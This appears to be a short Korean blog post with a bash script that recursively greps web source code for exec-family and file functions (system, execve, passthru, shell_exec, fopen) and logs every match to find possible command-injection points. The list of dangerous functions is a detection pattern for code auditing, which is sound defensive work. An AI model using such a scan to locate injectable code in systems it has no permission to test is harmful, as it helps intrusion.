
웹에서 exec 계열소스를 사용하였는지, 내용검색 기반으로 검색하는 쉘스크립트를 작성해보았다.

조금만 응용하면 Code 단에서 Injection 먹히는 부분을 빠르게 점검할 수 있다.



#vi findExecve.sh     (쉘스크립트 삭성을 하여 일괄 처리)

 

#!/bin/bash

echo "START"

grep -r -n "system(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' > result.txt

grep -r -n "execl(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "execve(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "fopen(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "passthru(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "exec" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "shell_exec(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

echo "create file \"result.txt\""

echo "FINISH" 




Posted by k1rha